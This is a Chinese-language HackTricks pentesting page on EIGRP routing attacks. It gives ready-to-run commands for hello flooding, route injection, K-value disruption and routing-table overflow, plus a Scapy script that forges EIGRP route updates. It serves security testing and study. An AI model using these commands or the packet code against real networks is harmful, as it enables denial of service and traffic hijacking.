EIGRP 攻击
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
这是对 https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 中公开的攻击的总结。 请查看以获取更多信息。
伪造 EIGRP 邻居 攻击
- Objective:通过用 EIGRP hello 包淹没路由器 CPU,使其过载,可能导致 Denial of Service (DoS) 攻击。
- Tool:helloflooding.py 脚本。
- Execution:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
- Parameters:
--interface:指定网络接口,例如eth0。--as:定义 EIGRP autonomous system 编号,例如1。--subnet:设置子网位置,例如10.10.100.0/24。
EIGRP 黑洞 攻击
- Objective:通过注入错误路由来破坏网络流量,使流量被导向不存在的目标,从而形成黑洞。
- Tool:routeinject.py 脚本。
- Execution:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
- Parameters:
--interface:指定攻击者系统的接口。--as:定义 EIGRP AS 编号。--src:设置攻击者的 IP 地址。--dst:设置目标子网 IP。--prefix:定义目标子网 IP 的掩码长度。
滥用 K-Values 攻击
- Objective:通过注入修改过的 K-values,在 EIGRP 域内制造持续的中断和重新连接,从而导致 DoS。
- Tool:relationshipnightmare.py 脚本。
- Execution:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
- Parameters:
--interface:指定网络接口。--as:定义 EIGRP AS 编号。--src:设置一个合法路由器的 IP 地址。
路由表溢出 攻击
- Objective:通过向路由表注入大量错误路由来耗尽路由器的 CPU 和内存。
- Tool:routingtableoverflow.py 脚本。
- Execution:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
- Parameters:
--interface:指定网络接口。--as:定义 EIGRP AS 编号。--src:设置攻击者的 IP 地址。
对攻击有用的协议说明
- HELLO 包携带 K-values,只有在匹配时邻居关系才会建立。 这是基于 K-value 不匹配/关系中断攻击的原理,也是为什么不匹配的 K-values 会阻止邻接的原因。
- HELLO(以及初始 UPDATE)中的 PARAMETER TLV (Type 0x0001) 携带 K-values 和 Hold Time, 因此被动抓包可以揭示该段上使用的精确值。
Scapy 包构造(路由注入 / 伪造邻居)
Scapy 附带一个 EIGRP contrib 层,包含诸如 EIGRPParam 和 EIGRPIntRoute 之类的 TLV,这足以构造用于路由注入的 UPDATE。示例改编自 davidbombal/scapy 的 EIGRP 路由注入脚本:
from scapy.all import *
load_contrib("eigrp")
sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))
相同的仓库包含快速的“伪造邻居”脚本,这些脚本嗅探真实的 EIGRP 数据包并用伪造的源 IP 重放它以创建虚幻的邻居(可用于对 CPU/邻居表施加压力)。
- Scapy EIGRP contrib 文档: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
- 示例脚本: https://github.com/davidbombal/scapy
Routopsy & NSE 辅助工具
- Routopsy 构建了一个虚拟路由器攻击实验室(FRRouting + Scapy),并包含可改编用于 EIGRP 测试的 DRP 攻击。 https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
- Nmap 的 NSE 包含一个用于解析/生成部分 EIGRP 数据包的小型
eigrp库。 https://nmap.org/nsedoc/lib/eigrp.html
认证侦察
- EIGRP named mode 支持 HMAC-SHA-256 authentication,通过
authentication mode hmac-sha-256 ...配置。若启用,伪造的数据包必须使用正确的密钥进行认证;若未启用,伪造/注入则更容易成功并验证。
参考资料
- https://www.rfc-editor.org/rfc/rfc7868.html
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/iproute_eigrp/configuration/15-mt/ire-15-mt-book/ire-sha-256.html
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


